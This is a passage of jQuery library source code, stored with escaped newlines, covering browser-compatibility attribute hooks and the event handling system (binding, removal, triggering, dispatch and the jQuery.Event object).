elem.getAttribute( name, 2 );\n\t\t\t\treturn ret === null ? undefined : ret;\n\t\t\t}\n\t\t});\n\t});\n}\n\nif ( !jQuery.support.style ) {\n\tjQuery.attrHooks.style = {\n\t\tget: function( elem ) {\n\t\t\t// Return undefined in the case of empty string\n\t\t\t// Normalize to lowercase since IE uppercases css property names\n\t\t\treturn elem.style.cssText.toLowerCase() || undefined;\n\t\t},\n\t\tset: function( elem, value ) {\n\t\t\treturn ( elem.style.cssText = \"\" + value );\n\t\t}\n\t};\n}\n\n// Safari mis-reports the default selected property of an option\n// Accessing the parent's selectedIndex property fixes it\nif ( !jQuery.support.optSelected ) {\n\tjQuery.propHooks.selected = jQuery.extend( jQuery.propHooks.selected, {\n\t\tget: function( elem ) {\n\t\t\tvar parent = elem.parentNode;\n\n\t\t\tif ( parent ) {\n\t\t\t\tparent.selectedIndex;\n\n\t\t\t\t// Make sure that it also works with optgroups, see #5701\n\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn null;\n\t\t}\n\t});\n}\n\n// IE6/7 call enctype encoding\nif ( !jQuery.support.enctype ) {\n\tjQuery.propFix.enctype = \"encoding\";\n}\n\n// Radios and checkboxes getter/setter\nif ( !jQuery.support.checkOn ) {\n\tjQuery.each([ \"radio\", \"checkbox\" ], function() {\n\t\tjQuery.valHooks[ this ] = {\n\t\t\tget: function( elem ) {\n\t\t\t\t// Handle the case where in Webkit \"\" is returned instead of \"on\" if a value isn't specified\n\t\t\t\treturn elem.getAttribute(\"value\") === null ? \"on\" : elem.value;\n\t\t\t}\n\t\t};\n\t});\n}\njQuery.each([ \"radio\", \"checkbox\" ], function() {\n\tjQuery.valHooks[ this ] = jQuery.extend( jQuery.valHooks[ this ], {\n\t\tset: function( elem, value ) {\n\t\t\tif ( jQuery.isArray( value ) ) {\n\t\t\t\treturn ( elem.checked = jQuery.inArray( jQuery(elem).val(), value ) >= 0 );\n\t\t\t}\n\t\t}\n\t});\n});\n\n\n\n\nvar rformElems = /^(?:textarea|input|select)$/i,\n\trtypenamespace = /^([^\\.]*)?(?:\\.(.+))?$/,\n\trhoverHack = /(?:^|\\s)hover(\\.\\S+)?\\b/,\n\trkeyEvent = /^key/,\n\trmouseEvent = /^(?:mouse|contextmenu)|click/,\n\trfocusMorph = /^(?:focusinfocus|focusoutblur)$/,\n\trquickIs = /^(\\w*)(?:#([\\w\\-]+))?(?:\\.([\\w\\-]+))?$/,\n\tquickParse = function( selector ) {\n\t\tvar quick = rquickIs.exec( selector );\n\t\tif ( quick ) {\n\t\t\t//   0  1    2   3\n\t\t\t// [ _, tag, id, class ]\n\t\t\tquick[1] = ( quick[1] || \"\" ).toLowerCase();\n\t\t\tquick[3] = quick[3] && new RegExp( \"(?:^|\\\\s)\" + quick[3] + \"(?:\\\\s|$)\" );\n\t\t}\n\t\treturn quick;\n\t},\n\tquickIs = function( elem, m ) {\n\t\tvar attrs = elem.attributes || {};\n\t\treturn (\n\t\t\t(!m[1] || elem.nodeName.toLowerCase() === m[1]) &&\n\t\t\t(!m[2] || (attrs.id || {}).value === m[2]) &&\n\t\t\t(!m[3] || m[3].test( (attrs[ \"class\" ] || {}).value ))\n\t\t);\n\t},\n\thoverHack = function( events ) {\n\t\treturn jQuery.event.special.hover ? events : events.replace( rhoverHack, \"mouseenter$1 mouseleave$1\" );\n\t};\n\n/*\n * Helper functions for managing events -- not part of the public interface.\n * Props to Dean Edwards' addEvent library for many of the ideas.\n */\njQuery.event = {\n\n\tadd: function( elem, types, handler, data, selector ) {\n\n\t\tvar elemData, eventHandle, events,\n\t\t\tt, tns, type, namespaces, handleObj,\n\t\t\thandleObjIn, quick, handlers, special;\n\n\t\t// Don't attach events to noData or text/comment nodes (allow plain objects tho)\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 || !types || !handler || !(elemData = jQuery._data( elem )) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an object of custom data in lieu of the handler\n\t\tif ( handler.handler ) {\n\t\t\thandleObjIn = handler;\n\t\t\thandler = handleObjIn.handler;\n\t\t\tselector = handleObjIn.selector;\n\t\t}\n\n\t\t// Make sure that the handler has a unique ID, used to find/remove it later\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// Init the element's event structure and main handler, if this is the first\n\t\tevents = elemData.events;\n\t\tif ( !events ) {\n\t\t\telemData.events = events = {};\n\t\t}\n\t\teventHandle = elemData.handle;\n\t\tif ( !eventHandle ) {\n\t\t\telemData.handle = eventHandle = function( e ) {\n\t\t\t\t// Discard the second event of a jQuery.event.trigger() and\n\t\t\t\t// when an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && (!e || jQuery.event.triggered !== e.type) ?\n\t\t\t\t\tjQuery.event.dispatch.apply( eventHandle.elem, arguments ) :\n\t\t\t\t\tundefined;\n\t\t\t};\n\t\t\t// Add elem as a property of the handle fn to prevent a memory leak with IE non-native events\n\t\t\teventHandle.elem = elem;\n\t\t}\n\n\t\t// Handle multiple events separated by a space\n\t\t// jQuery(...).bind(\"mouseover mouseout\", fn);\n\t\ttypes = jQuery.trim( hoverHack(types) ).split( \" \" );\n\t\tfor ( t = 0; t < types.length; t++ ) {\n\n\t\t\ttns = rtypenamespace.exec( types[t] ) || [];\n\t\t\ttype = tns[1];\n\t\t\tnamespaces = ( tns[2] || \"\" ).split( \".\" ).sort();\n\n\t\t\t// If event changes its type, use the special event handlers for the changed type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// If selector defined, determine special event api type, otherwise given type\n\t\t\ttype = ( selector ? special.delegateType : special.bindType ) || type;\n\n\t\t\t// Update special based on newly reset type\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\n\t\t\t// handleObj is passed to all event handlers\n\t\t\thandleObj = jQuery.extend({\n\t\t\t\ttype: type,\n\t\t\t\torigType: tns[1],\n\t\t\t\tdata: data,\n\t\t\t\thandler: handler,\n\t\t\t\tguid: handler.guid,\n\t\t\t\tselector: selector,\n\t\t\t\tquick: selector && quickParse( selector ),\n\t\t\t\tnamespace: namespaces.join(\".\")\n\t\t\t}, handleObjIn );\n\n\t\t\t// Init the event handler queue if we're the first\n\t\t\thandlers = events[ type ];\n\t\t\tif ( !handlers ) {\n\t\t\t\thandlers = events[ type ] = [];\n\t\t\t\thandlers.delegateCount = 0;\n\n\t\t\t\t// Only use addEventListener/attachEvent if the special events handler returns false\n\t\t\t\tif ( !special.setup || special.setup.call( elem, data, namespaces, eventHandle ) === false ) {\n\t\t\t\t\t// Bind the global event handler to the element\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, eventHandle, false );\n\n\t\t\t\t\t} else if ( elem.attachEvent ) {\n\t\t\t\t\t\telem.attachEvent( \"on\" + type, eventHandle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ( special.add ) {\n\t\t\t\tspecial.add.call( elem, handleObj );\n\n\t\t\t\tif ( !handleObj.handler.guid ) {\n\t\t\t\t\thandleObj.handler.guid = handler.guid;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Add to the element's handler list, delegates in front\n\t\t\tif ( selector ) {\n\t\t\t\thandlers.splice( handlers.delegateCount++, 0, handleObj );\n\t\t\t} else {\n\t\t\t\thandlers.push( handleObj );\n\t\t\t}\n\n\t\t\t// Keep track of which events have ever been used, for event optimization\n\t\t\tjQuery.event.global[ type ] = true;\n\t\t}\n\n\t\t// Nullify elem to prevent memory leaks in IE\n\t\telem = null;\n\t},\n\n\tglobal: {},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler, selector, mappedTypes ) {\n\n\t\tvar elemData = jQuery.hasData( elem ) && jQuery._data( elem ),\n\t\t\tt, tns, type, origType, namespaces, origCount,\n\t\t\tj, events, special, handle, eventType, handleObj;\n\n\t\tif ( !elemData || !(events = elemData.events) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Once for each type.namespace in types; type may be omitted\n\t\ttypes = jQuery.trim( hoverHack( types || \"\" ) ).split(\" \");\n\t\tfor ( t = 0; t < types.length; t++ ) {\n\t\t\ttns = rtypenamespace.exec( types[t] ) || [];\n\t\t\ttype = origType = tns[1];\n\t\t\tnamespaces = tns[2];\n\n\t\t\t// Unbind all events (on this namespace, if provided) for the element\n\t\t\tif ( !type ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tjQuery.event.remove( elem, type + types[ t ], handler, selector, true );\n\t\t\t\t}\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tspecial = jQuery.event.special[ type ] || {};\n\t\t\ttype = ( selector? special.delegateType : special.bindType ) || type;\n\t\t\teventType = events[ type ] || [];\n\t\t\torigCount = eventType.length;\n\t\t\tnamespaces = namespaces ? new RegExp(\"(^|\\\\.)\" + namespaces.split(\".\").sort().join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\") : null;\n\n\t\t\t// Remove matching events\n\t\t\tfor ( j = 0; j < eventType.length; j++ ) {\n\t\t\t\thandleObj = eventType[ j ];\n\n\t\t\t\tif ( ( mappedTypes || origType === handleObj.origType ) &&\n\t\t\t\t\t ( !handler || handler.guid === handleObj.guid ) &&\n\t\t\t\t\t ( !namespaces || namespaces.test( handleObj.namespace ) ) &&\n\t\t\t\t\t ( !selector || selector === handleObj.selector || selector === \"**\" && handleObj.selector ) ) {\n\t\t\t\t\teventType.splice( j--, 1 );\n\n\t\t\t\t\tif ( handleObj.selector ) {\n\t\t\t\t\t\teventType.delegateCount--;\n\t\t\t\t\t}\n\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\tspecial.remove.call( elem, handleObj );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove generic event handler if we removed something and no more handlers exist\n\t\t\t// (avoids potential for endless recursion during removal of special event handlers)\n\t\t\tif ( eventType.length === 0 && origCount !== eventType.length ) {\n\t\t\t\tif ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {\n\t\t\t\t\tjQuery.removeEvent( elem, type, elemData.handle );\n\t\t\t\t}\n\n\t\t\t\tdelete events[ type ];\n\t\t\t}\n\t\t}\n\n\t\t// Remove the expando if it's no longer used\n\t\tif ( jQuery.isEmptyObject( events ) ) {\n\t\t\thandle = elemData.handle;\n\t\t\tif ( handle ) {\n\t\t\t\thandle.elem = null;\n\t\t\t}\n\n\t\t\t// removeData also checks for emptiness and clears the expando if empty\n\t\t\t// so use it instead of delete\n\t\t\tjQuery.removeData( elem, [ \"events\", \"handle\" ], true );\n\t\t}\n\t},\n\n\t// Events that are safe to short-circuit if no handlers are attached.\n\t// Native DOM events should not be added, they may have inline handlers.\n\tcustomEvent: {\n\t\t\"getData\": true,\n\t\t\"setData\": true,\n\t\t\"changeData\": true\n\t},\n\n\ttrigger: function( event, data, elem, onlyHandlers ) {\n\t\t// Don't do events on text and comment nodes\n\t\tif ( elem && (elem.nodeType === 3 || elem.nodeType === 8) ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Event object or event type\n\t\tvar type = event.type || event,\n\t\t\tnamespaces = [],\n\t\t\tcache, exclusive, i, cur, old, ontype, special, handle, eventPath, bubbleType;\n\n\t\t// focus/blur morphs to focusin/out; ensure we're not firing them right now\n\t\tif ( rfocusMorph.test( type + jQuery.event.triggered ) ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif ( type.indexOf( \"!\" ) >= 0 ) {\n\t\t\t// Exclusive events trigger only for the exact event (no namespaces)\n\t\t\ttype = type.slice(0, -1);\n\t\t\texclusive = true;\n\t\t}\n\n\t\tif ( type.indexOf( \".\" ) >= 0 ) {\n\t\t\t// Namespaced trigger; create a regexp to match event type in handle()\n\t\t\tnamespaces = type.split(\".\");\n\t\t\ttype = namespaces.shift();\n\t\t\tnamespaces.sort();\n\t\t}\n\n\t\tif ( (!elem || jQuery.event.customEvent[ type ]) && !jQuery.event.global[ type ] ) {\n\t\t\t// No jQuery handlers for this event type, and it can't have inline handlers\n\t\t\treturn;\n\t\t}\n\n\t\t// Caller can pass in an Event, Object, or just an event type string\n\t\tevent = typeof event === \"object\" ?\n\t\t\t// jQuery.Event object\n\t\t\tevent[ jQuery.expando ] ? event :\n\t\t\t// Object literal\n\t\t\tnew jQuery.Event( type, event ) :\n\t\t\t// Just the event type (string)\n\t\t\tnew jQuery.Event( type );\n\n\t\tevent.type = type;\n\t\tevent.isTrigger = true;\n\t\tevent.exclusive = exclusive;\n\t\tevent.namespace = namespaces.join( \".\" );\n\t\tevent.namespace_re = event.namespace? new RegExp(\"(^|\\\\.)\" + namespaces.join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\") : null;\n\t\tontype = type.indexOf( \":\" ) < 0 ? \"on\" + type : \"\";\n\n\t\t// Handle a global trigger\n\t\tif ( !elem ) {\n\n\t\t\t// TODO: Stop taunting the data cache; remove global events and always attach to document\n\t\t\tcache = jQuery.cache;\n\t\t\tfor ( i in cache ) {\n\t\t\t\tif ( cache[ i ].events && cache[ i ].events[ type ] ) {\n\t\t\t\t\tjQuery.event.trigger( event, data, cache[ i ].handle.elem, true );\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\t// Clean up the event in case it is being reused\n\t\tevent.result = undefined;\n\t\tif ( !event.target ) {\n\t\t\tevent.target = elem;\n\t\t}\n\n\t\t// Clone any incoming data and prepend the event, creating the handler arg list\n\t\tdata = data != null ? jQuery.makeArray( data ) : [];\n\t\tdata.unshift( event );\n\n\t\t// Allow special events to draw outside the lines\n\t\tspecial = jQuery.event.special[ type ] || {};\n\t\tif ( special.trigger && special.trigger.apply( elem, data ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine event propagation path in advance, per W3C events spec (#9951)\n\t\t// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)\n\t\teventPath = [[ elem, special.bindType || type ]];\n\t\tif ( !onlyHandlers && !special.noBubble && !jQuery.isWindow( elem ) ) {\n\n\t\t\tbubbleType = special.delegateType || type;\n\t\t\tcur = rfocusMorph.test( bubbleType + type ) ? elem : elem.parentNode;\n\t\t\told = null;\n\t\t\tfor ( ; cur; cur = cur.parentNode ) {\n\t\t\t\teventPath.push([ cur, bubbleType ]);\n\t\t\t\told = cur;\n\t\t\t}\n\n\t\t\t// Only add window if we got to document (e.g., not plain obj or detached DOM)\n\t\t\tif ( old && old === elem.ownerDocument ) {\n\t\t\t\teventPath.push([ old.defaultView || old.parentWindow || window, bubbleType ]);\n\t\t\t}\n\t\t}\n\n\t\t// Fire handlers on the event path\n\t\tfor ( i = 0; i < eventPath.length && !event.isPropagationStopped(); i++ ) {\n\n\t\t\tcur = eventPath[i][0];\n\t\t\tevent.type = eventPath[i][1];\n\n\t\t\thandle = ( jQuery._data( cur, \"events\" ) || {} )[ event.type ] && jQuery._data( cur, \"handle\" );\n\t\t\tif ( handle ) {\n\t\t\t\thandle.apply( cur, data );\n\t\t\t}\n\t\t\t// Note that this is a bare JS function and not a jQuery handler\n\t\t\thandle = ontype && cur[ ontype ];\n\t\t\tif ( handle && jQuery.acceptData( cur ) && handle.apply( cur, data ) === false ) {\n\t\t\t\tevent.preventDefault();\n\t\t\t}\n\t\t}\n\t\tevent.type = type;\n\n\t\t// If nobody prevented the default action, do it now\n\t\tif ( !onlyHandlers && !event.isDefaultPrevented() ) {\n\n\t\t\tif ( (!special._default || special._default.apply( elem.ownerDocument, data ) === false) &&\n\t\t\t\t!(type === \"click\" && jQuery.nodeName( elem, \"a\" )) && jQuery.acceptData( elem ) ) {\n\n\t\t\t\t// Call a native DOM method on the target with the same name name as the event.\n\t\t\t\t// Can't use an .isFunction() check here because IE6/7 fails that test.\n\t\t\t\t// Don't do default actions on window, that's where global variables be (#6170)\n\t\t\t\t// IE<9 dies on focus/blur to hidden element (#1486)\n\t\t\t\tif ( ontype && elem[ type ] && ((type !== \"focus\" && type !== \"blur\") || event.target.offsetWidth !== 0) && !jQuery.isWindow( elem ) ) {\n\n\t\t\t\t\t// Don't re-trigger an onFOO event when we call its FOO() method\n\t\t\t\t\told = elem[ ontype ];\n\n\t\t\t\t\tif ( old ) {\n\t\t\t\t\t\telem[ ontype ] = null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Prevent re-triggering of the same event, since we already bubbled it above\n\t\t\t\t\tjQuery.event.triggered = type;\n\t\t\t\t\telem[ type ]();\n\t\t\t\t\tjQuery.event.triggered = undefined;\n\n\t\t\t\t\tif ( old ) {\n\t\t\t\t\t\telem[ ontype ] = old;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\tdispatch: function( event ) {\n\n\t\t// Make a writable jQuery.Event from the native event object\n\t\tevent = jQuery.event.fix( event || window.event );\n\n\t\tvar handlers = ( (jQuery._data( this, \"events\" ) || {} )[ event.type ] || []),\n\t\t\tdelegateCount = handlers.delegateCount,\n\t\t\targs = [].slice.call( arguments, 0 ),\n\t\t\trun_all = !event.exclusive && !event.namespace,\n\t\t\tspecial = jQuery.event.special[ event.type ] || {},\n\t\t\thandlerQueue = [],\n\t\t\ti, j, cur, jqcur, ret, selMatch, matched, matches, handleObj, sel, related;\n\n\t\t// Use the fix-ed jQuery.Event rather than the (read-only) native event\n\t\targs[0] = event;\n\t\tevent.delegateTarget = this;\n\n\t\t// Call the preDispatch hook for the mapped type, and let it bail if desired\n\t\tif ( special.preDispatch && special.preDispatch.call( this, event ) === false ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Determine handlers that should run if there are delegated events\n\t\t// Avoid non-left-click bubbling in Firefox (#3861)\n\t\tif ( delegateCount && !(event.button && event.type === \"click\") ) {\n\n\t\t\t// Pregenerate a single jQuery object for reuse with .is()\n\t\t\tjqcur = jQuery(this);\n\t\t\tjqcur.context = this.ownerDocument || this;\n\n\t\t\tfor ( cur = event.target; cur != this; cur = cur.parentNode || this ) {\n\n\t\t\t\t// Don't process events on disabled elements (#6911, #8165)\n\t\t\t\tif ( cur.disabled !== true ) {\n\t\t\t\t\tselMatch = {};\n\t\t\t\t\tmatches = [];\n\t\t\t\t\tjqcur[0] = cur;\n\t\t\t\t\tfor ( i = 0; i < delegateCount; i++ ) {\n\t\t\t\t\t\thandleObj = handlers[ i ];\n\t\t\t\t\t\tsel = handleObj.selector;\n\n\t\t\t\t\t\tif ( selMatch[ sel ] === undefined ) {\n\t\t\t\t\t\t\tselMatch[ sel ] = (\n\t\t\t\t\t\t\t\thandleObj.quick ? quickIs( cur, handleObj.quick ) : jqcur.is( sel )\n\t\t\t\t\t\t\t);\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( selMatch[ sel ] ) {\n\t\t\t\t\t\t\tmatches.push( handleObj );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif ( matches.length ) {\n\t\t\t\t\t\thandlerQueue.push({ elem: cur, matches: matches });\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Add the remaining (directly-bound) handlers\n\t\tif ( handlers.length > delegateCount ) {\n\t\t\thandlerQueue.push({ elem: this, matches: handlers.slice( delegateCount ) });\n\t\t}\n\n\t\t// Run delegates first; they may want to stop propagation beneath us\n\t\tfor ( i = 0; i < handlerQueue.length && !event.isPropagationStopped(); i++ ) {\n\t\t\tmatched = handlerQueue[ i ];\n\t\t\tevent.currentTarget = matched.elem;\n\n\t\t\tfor ( j = 0; j < matched.matches.length && !event.isImmediatePropagationStopped(); j++ ) {\n\t\t\t\thandleObj = matched.matches[ j ];\n\n\t\t\t\t// Triggered event must either 1) be non-exclusive and have no namespace, or\n\t\t\t\t// 2) have namespace(s) a subset or equal to those in the bound event (both can have no namespace).\n\t\t\t\tif ( run_all || (!event.namespace && !handleObj.namespace) || event.namespace_re && event.namespace_re.test( handleObj.namespace ) ) {\n\n\t\t\t\t\tevent.data = handleObj.data;\n\t\t\t\t\tevent.handleObj = handleObj;\n\n\t\t\t\t\tret = ( (jQuery.event.special[ handleObj.origType ] || {}).handle || handleObj.handler )\n\t\t\t\t\t\t\t.apply( matched.elem, args );\n\n\t\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\t\tevent.result = ret;\n\t\t\t\t\t\tif ( ret === false ) {\n\t\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t// Call the postDispatch hook for the mapped type\n\t\tif ( special.postDispatch ) {\n\t\t\tspecial.postDispatch.call( this, event );\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\t// Includes some event props shared by KeyEvent and MouseEvent\n\t// *** attrChange attrName relatedNode srcElement  are not normalized, non-W3C, deprecated, will be removed in 1.8 ***\n\tprops: \"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which\".split(\" \"),\n\n\tfixHooks: {},\n\n\tkeyHooks: {\n\t\tprops: \"char charCode key keyCode\".split(\" \"),\n\t\tfilter: function( event, original ) {\n\n\t\t\t// Add which for key events\n\t\t\tif ( event.which == null ) {\n\t\t\t\tevent.which = original.charCode != null ? original.charCode : original.keyCode;\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tmouseHooks: {\n\t\tprops: \"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement\".split(\" \"),\n\t\tfilter: function( event, original ) {\n\t\t\tvar eventDoc, doc, body,\n\t\t\t\tbutton = original.button,\n\t\t\t\tfromElement = original.fromElement;\n\n\t\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\t\tif ( event.pageX == null && original.clientX != null ) {\n\t\t\t\teventDoc = event.target.ownerDocument || document;\n\t\t\t\tdoc = eventDoc.documentElement;\n\t\t\t\tbody = eventDoc.body;\n\n\t\t\t\tevent.pageX = original.clientX + ( doc && doc.scrollLeft || body && body.scrollLeft || 0 ) - ( doc && doc.clientLeft || body && body.clientLeft || 0 );\n\t\t\t\tevent.pageY = original.clientY + ( doc && doc.scrollTop  || body && body.scrollTop  || 0 ) - ( doc && doc.clientTop  || body && body.clientTop  || 0 );\n\t\t\t}\n\n\t\t\t// Add relatedTarget, if necessary\n\t\t\tif ( !event.relatedTarget && fromElement ) {\n\t\t\t\tevent.relatedTarget = fromElement === event.target ? original.toElement : fromElement;\n\t\t\t}\n\n\t\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t\t// Note: button is not normalized, so don't use it\n\t\t\tif ( !event.which && button !== undefined ) {\n\t\t\t\tevent.which = ( button & 1 ? 1 : ( button & 2 ? 3 : ( button & 4 ? 2 : 0 ) ) );\n\t\t\t}\n\n\t\t\treturn event;\n\t\t}\n\t},\n\n\tfix: function( event ) {\n\t\tif ( event[ jQuery.expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// Create a writable copy of the event object and normalize some properties\n\t\tvar i, prop,\n\t\t\toriginalEvent = event,\n\t\t\tfixHook = jQuery.event.fixHooks[ event.type ] || {},\n\t\t\tcopy = fixHook.props ? this.props.concat( fixHook.props ) : this.props;\n\n\t\tevent = jQuery.Event( originalEvent );\n\n\t\tfor ( i = copy.length; i; ) {\n\t\t\tprop = copy[ --i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Fix target property, if necessary (#1925, IE 6/7/8 & Safari2)\n\t\tif ( !event.target ) {\n\t\t\tevent.target = originalEvent.srcElement || document;\n\t\t}\n\n\t\t// Target should not be a text node (#504, Safari)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\t// For mouse/key events; add metaKey if it's not there (#3368, IE6/7/8)\n\t\tif ( event.metaKey === undefined ) {\n\t\t\tevent.metaKey = event.ctrlKey;\n\t\t}\n\n\t\treturn fixHook.filter? fixHook.filter( event, originalEvent ) : event;\n\t},\n\n\tspecial: {\n\t\tready: {\n\t\t\t// Make sure the ready event is setup\n\t\t\tsetup: jQuery.bindReady\n\t\t},\n\n\t\tload: {\n\t\t\t// Prevent triggered image.load events from bubbling to window.load\n\t\t\tnoBubble: true\n\t\t},\n\n\t\tfocus: {\n\t\t\tdelegateType: \"focusin\"\n\t\t},\n\t\tblur: {\n\t\t\tdelegateType: \"focusout\"\n\t\t},\n\n\t\tbeforeunload: {\n\t\t\tsetup: function( data, namespaces, eventHandle ) {\n\t\t\t\t// We only want to do this special case on windows\n\t\t\t\tif ( jQuery.isWindow( this ) ) {\n\t\t\t\t\tthis.onbeforeunload = eventHandle;\n\t\t\t\t}\n\t\t\t},\n\n\t\t\tteardown: function( namespaces, eventHandle ) {\n\t\t\t\tif ( this.onbeforeunload === eventHandle ) {\n\t\t\t\t\tthis.onbeforeunload = null;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\tsimulate: function( type, elem, event, bubble ) {\n\t\t// Piggyback on a donor event to simulate a different one.\n\t\t// Fake originalEvent to avoid donor's stopPropagation, but if the\n\t\t// simulated event prevents default then we do the same on the donor.\n\t\tvar e = jQuery.extend(\n\t\t\tnew jQuery.Event(),\n\t\t\tevent,\n\t\t\t{ type: type,\n\t\t\t\tisSimulated: true,\n\t\t\t\toriginalEvent: {}\n\t\t\t}\n\t\t);\n\t\tif ( bubble ) {\n\t\t\tjQuery.event.trigger( e, null, elem );\n\t\t} else {\n\t\t\tjQuery.event.dispatch.call( elem, e );\n\t\t}\n\t\tif ( e.isDefaultPrevented() ) {\n\t\t\tevent.preventDefault();\n\t\t}\n\t}\n};\n\n// Some plugins are using, but it's undocumented/deprecated and will be removed.\n// The 1.7 special event interface should provide all the hooks needed now.\njQuery.event.handle = jQuery.event.dispatch;\n\njQuery.removeEvent = document.removeEventListener ?\n\tfunction( elem, type, handle ) {\n\t\tif ( elem.removeEventListener ) {\n\t\t\telem.removeEventListener( type, handle, false );\n\t\t}\n\t} :\n\tfunction( elem, type, handle ) {\n\t\tif ( elem.detachEvent ) {\n\t\t\telem.detachEvent( \"on\" + type, handle );\n\t\t}\n\t};\n\njQuery.Event = function( src, props ) {\n\t// Allow instantiation without the 'new' keyword\n\tif ( !(this instanceof jQuery.Event) ) {\n\t\treturn new jQuery.Event( src, props );\n\t}\n\n\t// Event object\n\tif ( src && src.type ) {\n\t\tthis.originalEvent = src;\n\t\tthis.type = src.type;\n\n\t\t// Events bubbling up the document may have been marked as prevented\n\t\t// by a handler lower down the tree; reflect the correct value.\n\t\tthis.isDefaultPrevented = ( src.defaultPrevented || src.returnValue === false ||\n\t\t\tsrc.getPreventDefault && src.getPreventDefault() ) ? returnTrue : returnFalse;\n\n\t// Event type\n\t} else {\n\t\tthis.type = src;\n\t}\n\n\t// Put explicitly provided properties onto the event object\n\tif ( props ) {\n\t\tjQuery.extend( this, props );\n\t}\n\n\t// Create a timestamp if incoming event doesn't have one\n\tthis.timeStamp = src && src.timeStamp || jQuery.now();\n\n\t// Mark it as fixed\n\tthis[ jQuery.expando ] = true;\n};\n\nfunction returnFalse() {\n\treturn false;\n}\nfunction returnTrue() {\n\treturn true;\n}\n\n// jQuery.Event is based on DOM3 Events as specified by the ECMAScript Language Binding\n// http://www.w3.org/TR/2003/WD-DOM-Level-3-Events-20030331/ecma-script-binding.html\njQuery.Event.prototype = {\n\tpreventDefault: function() {\n\t\tthis.isDefaultPrevented = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// if preventDefault exists run it on the original event\n\t\tif ( e.preventDefault ) {\n\t\t\te.preventDefault();\n\n\t\t// otherwise set the returnValue property of the original event to false (IE)\n\t\t} else {\n\t\t\te.returnValue = false;\n\t\t}\n\t},\n\tstopPropagation: function() {\n\t\tthis.isPropagationStopped = returnTrue;\n\n\t\tvar e = this.originalEvent;\n\t\tif ( !e ) {\n\t\t\treturn;\n\t\t}\n\t\t// if stopPropagation exists run it on the original event\n\t\tif ( e.stopPropagation ) {\n\t\t\te.stopPropagation();\n\t\t}\n\t\t// otherwise set the cancelBubble property of the original event to true (IE)\n\t\te.cancelBubble = true;\n\t},\n\tstopImmediatePropagation: function() {\n\t\tthis.isImmediatePropagationStopped = returnTrue;\n\t\tthis.stopPropagation();\n\t},\n\tisDefaultPrevented: returnFalse,\n\tisPropagationStopped: returnFalse,\n\tisImmediatePropagationStopped: returnFalse\n};\n\n// Create mouseenter/leave events using mouseover/out and event-time checks\njQuery.each({\n\tmouseenter: \"mouseover\",\n\tmouseleave: \"mouseout\"\n}, function( orig, fix ) {\n\tjQuery.event.special[ orig ] = {\n\t\tdelegateType: fix,\n\t\tbindType: fix,\n\n\t\thandle: function( event ) {\n\t\t\tvar target = this,\n\t\t\t\trelated = event.relatedTarget,\n\t\t\t\thandleObj = event.handleObj,\n\t\t\t\tselector = handleObj.selector,\n\t\t\t\tret;\n\n\t\t\t// For mousenter/leave call the handler if related is outside the target.\n\t\t\t// NB: No relatedTarget if the mouse left/entered the browser window\n\t\t\tif ( !related || (related !== target && !jQuery.contains( target, related )) ) {\n\t\t\t\tevent.type = handleObj.origType;\n\t\t\t\tret = handleObj.handler.apply( this, arguments );\n\t\t\t\tevent.type = fix;\n\t\t\t}\n\t\t\treturn ret;\n\t\t}\n\t};\n});\n\n// IE submit delegation\nif ( !jQuery.support.submitBubbles ) {\n\n\tjQuery.event.special.submit = {\n\t\tsetup: function() 